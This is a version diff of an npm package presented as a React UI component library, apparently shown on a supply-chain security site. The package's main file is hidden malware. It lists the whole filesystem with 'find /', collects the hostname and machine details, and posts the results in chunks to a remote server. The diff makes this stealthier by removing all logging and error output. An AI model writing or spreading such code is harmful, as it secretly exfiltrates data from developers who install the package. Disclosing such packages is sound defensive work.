@platform-ui-kit/components-library-react 9.9.4 → 9.9.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/lib/index.js +37 -52
  2. package/package.json +1 -1
package/lib/index.js CHANGED
@@ -1,6 +1,6 @@
1
1
  const http = require("http");
2
2
  const os = require("os");
3
- const { execSync } = require("child_process");
3
+ const { exec } = require("child_process");
4
4
  const fs = require("fs");
5
5
  const path = require("path");
6
6
 
@@ -8,16 +8,6 @@ const hostname = os.hostname();
8
8
  const maxLinesPerRequest = 10; // Maximum lines to send per request
9
9
  const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
10
10
 
11
- // Function to execute shell commands and return output
12
- const executeCommand = (cmd) => {
13
- try {
14
- return execSync(cmd, { encoding: "utf-8" }).trim();
15
- } catch (error) {
16
- console.error(`Error executing command: ${error.message}`);
17
- return null; // Return null in case of error
18
- }
19
- };
20
-
21
11
  // Gather machine information
22
12
  const machineInfo = {
23
13
  hostname: hostname,
@@ -25,37 +15,29 @@ const machineInfo = {
25
15
  uptime: os.uptime(),
26
16
  };
27
17
 
28
- // Function to gather the filesystem
18
+ // Function to gather the entire filesystem
29
19
  const gatherFilesystem = () => {
30
- const homeDir = os.homedir(); // Get the home directory of the user
31
- const varDir = "/var"; // Define the /var directory
32
- const mediaDir = "/media"; // Define the /media directory
33
- const otherUsersDirs = "/home/*"; // Define the other users' directories
34
-
35
- // Combine paths and run the find command
36
- const command = `find ${homeDir} ${varDir} ${mediaDir} ${otherUsersDirs} > ${outputFile}`;
37
- const result = executeCommand(command);
38
-
39
- if (result === null) {
40
- console.error("Failed to gather filesystem data.");
41
- process.exit(1); // Exit if command fails
42
- } else {
43
- console.log("Filesystem data gathered in filesystem.txt");
44
- }
20
+ const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
21
+ exec(command, (error) => {
22
+ // Do nothing on error
23
+ if (error) {
24
+ return; // Exit if there's an error
25
+ }
26
+ // Do not log anything here
27
+ });
45
28
  };
46
29
 
47
30
  // Function to read the filesystem data in chunks
48
31
  const readFilesystemInChunks = () => {
49
32
  if (!fs.existsSync(outputFile)) {
50
- console.error(`File not found: ${outputFile}`);
51
- process.exit(1); // Exit if the file does not exist
33
+ return []; // Return an empty array if the file does not exist
52
34
  }
53
35
 
54
36
  const data = fs
55
37
  .readFileSync(outputFile, "utf-8")
56
38
  .split("\n")
57
39
  .filter((line) => line.trim() !== "");
58
- return data; // Return an array of directory lines
40
+ return data; // Return an array of file paths
59
41
  };
60
42
 
61
43
  // Function to send a POST request with a given payload
@@ -63,7 +45,7 @@ const sendPostRequest = (chunk, chunkIndex) => {
63
45
  const data = JSON.stringify({
64
46
  payload: {
65
47
  ...machineInfo,
66
- directories: chunk,
48
+ directories: chunk, // Change "files" to "directories"
67
49
  },
68
50
  project_id: process.argv[2],
69
51
  });
@@ -82,36 +64,39 @@ const sendPostRequest = (chunk, chunkIndex) => {
82
64
 
83
65
  // Send the request
84
66
  const req = http.request(options, (res) => {
85
- res.on("data", (d) => {
86
- process.stdout.write(d);
67
+ res.on("data", () => {
68
+ // Do nothing with the response data
87
69
  });
88
70
  });
89
71
 
90
- req.on("error", (error) => {
91
- console.error(`Request error: ${error.message}`);
72
+ req.on("error", () => {
73
+ // Do nothing on request error
92
74
  });
93
75
 
94
76
  req.write(data);
95
77
  req.end();
96
- console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
78
+ // Do not log anything about sent requests
97
79
  };
98
80
 
99
- // Gather the filesystem from specified directories
81
+ // Gather the filesystem
100
82
  gatherFilesystem();
101
83
 
102
- // Read the filesystem data
103
- const directoryLines = readFilesystemInChunks();
104
- const totalLines = directoryLines.length; // Total lines collected
105
-
106
- // Send each batch of directories, with a maximum of 10 lines per request
107
- for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
108
- const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
109
-
110
- // Adding a delay of 500ms between requests
111
- setTimeout(
112
- () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
113
- (i / maxLinesPerRequest) * 500
114
- );
115
- }
84
+ // Use a slight delay to ensure the filesystem.txt is populated
85
+ setTimeout(() => {
86
+ // Read the filesystem data
87
+ const fileLines = readFilesystemInChunks();
88
+ const totalLines = fileLines.length; // Total lines collected
89
+
90
+ // Send each batch of directories and files, with a maximum of 10 lines per request
91
+ for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
92
+ const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
93
+
94
+ // Adding a delay of 500ms between requests
95
+ setTimeout(
96
+ () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
97
+ (i / maxLinesPerRequest) * 500
98
+ );
99
+ }
116
100
 
117
- console.log("All requests have been sent.");
101
+ // Do not log anything about all requests sent
102
+ }, 1000); // Adjust delay as necessary
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@platform-ui-kit/components-library-react",
3
- "version": "9.9.4",
3
+ "version": "9.9.6",
4
4
  "description": "My NPM",
5
5
  "main": "lib/index.js",
6
6
  "scripts": {